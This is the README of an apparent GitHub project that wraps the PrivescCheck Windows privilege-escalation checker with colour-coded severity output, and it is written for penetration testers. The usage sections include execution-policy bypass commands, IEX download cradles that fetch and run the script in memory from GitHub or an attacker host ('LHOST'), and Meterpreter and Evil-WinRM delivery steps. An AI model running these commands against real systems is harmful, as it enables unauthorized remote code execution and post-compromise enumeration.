kowalski-analysis/PrivescCheck-Color

GitHub: kowalski-analysis/PrivescCheck-Color

该工具为 PrivescCheck 提供基于严重性级别的 ANSI 彩色输出,解决渗透测试中纯文本结果难以快速辨识高价值发现的问题。

Stars: 0 | Forks: 0

# PrivescCheck-Color [@itm4n](https://github.com/itm4n) 的 [PrivescCheck](https://github.com/itm4n/PrivescCheck) 的彩色输出包装器。 拦截 PrivescCheck 的终端输出函数,并将其替换为带有 ANSI 严重性颜色渲染的功能。所有检测逻辑均保持原样,未作修改。该包装器未引入任何新的枚举功能。 ## 背景 PrivescCheck 会为每个检查结果分配一个严重性级别(`High`、`Medium`、`Low`、`Info`、`None`),但所有输出均为纯文本。在时间紧迫的测试过程中——或者在终端窗口较窄的 WinRM 会话中——要在长篇纯文本滚动中识别出可操作的发现是非常缓慢的。 该包装器在原始脚本加载后替换了其两个输出函数(`Write-CheckBanner`、`Write-CheckResult`),在不触及任何检测代码的情况下实现了带颜色渲染。这种方法是在全局作用域内进行函数级别的覆盖,而不是源码补丁,因此无需修改即可与未来的 PrivescCheck 版本保持兼容。 ## 严重性颜色映射 ``` [HIGH] Red Immediate privilege escalation vector [MED] Yellow Exploitable misconfiguration [LOW] Cyan Low-confidence or informational finding [PASS] Green Check completed, no issue found keyword Magenta Sensitive string highlighted inline (privileges, credentials, paths) ``` ## 用法 ### 基本运行 ``` powershell -ep bypass -c ". .\Invoke-PrivescCheckColor.ps1; Invoke-PrivescCheckColor" ``` ### 扩展检查 ``` powershell -ep bypass -c ". .\Invoke-PrivescCheckColor.ps1; Invoke-PrivescCheckColor -Extended" ``` ### 仅筛选 High 和 Medium 输出 ``` powershell -ep bypass -c ". .\Invoke-PrivescCheckColor.ps1; Invoke-PrivescCheckColor -Extended -SeverityFilter Medium" ``` ### 执行扩展检查并将 HTML 报告写入磁盘 ``` powershell -ep bypass -c ". .\Invoke-PrivescCheckColor.ps1; Invoke-PrivescCheckColor -Extended -Report out -Format HTML" ``` ### 内存中执行,不向磁盘写入文件 ``` IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kowalski-analysis/PrivescCheck-Color/main/Invoke-PrivescCheckColor.ps1'); Invoke-PrivescCheckColor -Extended -SeverityFilter Medium ``` ### 使用本地的 PrivescCheck.ps1 副本而不是下载 ``` powershell -ep bypass -c ". .\Invoke-PrivescCheckColor.ps1; Invoke-PrivescCheckColor -SourceScript C:\tools\PrivescCheck.ps1" ``` ## 参数 | 参数 | 类型 | 描述 | |-----------|------|-------------| | `-Extended` | Switch | 启用扩展检查 | | `-Audit` | Switch | 启用审计检查 | | `-Experimental` | Switch | 启用实验性检查 | | `-Risky` | Switch | 启用可能触发终端防护的检查 | | `-Force` | Switch | 以管理员身份执行时强制运行 | | `-Report` | String | 将结果写入带有此前缀的报告文件中 | | `-Format` | String | 报告格式:`TXT`、`HTML`、`CSV`、`XML` | | `-SeverityFilter` | String | 抑制低于此级别的结果:`High`、`Medium`、`Low`、`Info`、`None` | | `-NoColor` | Switch | 禁用 ANSI 转义序列 | | `-NoLogo` | Switch | 隐藏头部信息 | | `-SourceScript` | String | 指定 `PrivescCheck.ps1` 的路径或 URL | ## 传递与执行 ### WinRM / Evil-WinRM ``` upload Invoke-PrivescCheckColor.ps1 . .\Invoke-PrivescCheckColor.ps1 Invoke-PrivescCheckColor -Extended -SeverityFilter Medium ``` ### Meterpreter 在运行前设置会话超时时间——默认的 15 秒不够: ``` msf6 > sessions -t 300 -i 1 meterpreter > load powershell meterpreter > powershell_import /local/path/Invoke-PrivescCheckColor.ps1 meterpreter > powershell_execute "Invoke-PrivescCheckColor -Extended -SeverityFilter Medium" ``` ### 受限语言模式 ``` Get-Content .\Invoke-PrivescCheckColor.ps1 | Out-String | Invoke-Expression ``` ### 从 HTTP 服务器执行 ``` IEX (New-Object Net.WebClient).DownloadString('http://LHOST/Invoke-PrivescCheckColor.ps1'); Invoke-PrivescCheckColor -SeverityFilter High ``` ## 工作原理 PrivescCheck 在每次检查完成后都会调用 `Write-CheckBanner` 和 `Write-CheckResult`。在加载原始脚本后,此包装器会在全局 PowerShell 作用域内覆盖这两个函数。新的实现会: 1. 读取已由 PrivescCheck 检测逻辑设置的 `.Severity` 属性 2. 将其映射到 ANSI 颜色代码 3. 扫描属性值中固定的敏感字符串列表(权限名称、凭据关键字、可写入系统路径),并以独特颜色高亮匹配项 4. 应用 `-SeverityFilter` 阈值,以便在筛选时抑制低价值输出 5. 收集所有结果并在最后打印汇总,包含每个严重性级别的计数以及高危/中危发现的命名列表 检测函数、严重性分配、检查注册表以及所有枚举逻辑均保持原样未作修改。 ## 敏感字符串高亮 在输出结果中匹配到以下类别的字符串时,将会对其进行高亮显示: - **可利用的权限**:`SeImpersonatePrivilege`、`SeAssignPrimaryTokenPrivilege`、`SeTcbPrivilege`、`SeBackupPrivilege`、`SeRestorePrivilege`、`SeDebugPrivilege`、`SeTakeOwnershipPrivilege`、`SeLoadDriverPrivilege` - **错误配置指示符**:`AlwaysInstallElevated`、`Unquoted`、`AutoRun`、`Autologon`、`DefaultPassword` - **凭据关键字**:`password`、`cleartext`、`plaintext`、`NTLM`、`SAM`、`LSA`、`credential`、`token` - **高价值身份**:`NT AUTHORITY\SYSTEM`、`BUILTIN\Administrators`、`Everyone` - **敏感路径**:`C:\Windows\System32`、`C:\Windows\SysWOW64`、`C:\Program Files\` ## 兼容性 | 环境 | 状态 | |---|---| | PowerShell 2.0+ | 支持(为绕过 CLM 维持了 PSv2 兼容性) | | PowerShell 5.1 | 支持 | | PowerShell 7.x | 支持 | | WinRM / Evil-WinRM | 支持 | | Meterpreter powershell extension | 支持(需设置会话超时时间) | | 支持 ANSI 的终端(Windows Terminal、大多数 Linux PTY) | 全彩输出 | | 旧版 Windows 上的传统 cmd.exe 控制台 | 自动回退为纯文本 | ## 仓库结构 ``` PrivescCheck-Color/ ├── Invoke-PrivescCheckColor.ps1 Main script ├── README.md ├── CHANGELOG.md ├── LICENSE └── .gitignore ``` ## 免责声明 此工具仅供授权的渗透测试和安全研究使用。未经明确书面授权,请勿对系统使用。作者对滥用行为不承担任何责任。 ## 许可证 BSD 3-Clause。请参阅 [LICENSE](LICENSE)。继承自原始 PrivescCheck 项目。
标签:AI合规, IPv6, Libemu, OpenCanary, PowerShell, Web报告查看器, 协议分析, 本地提权检查, 权限提升, 终端增强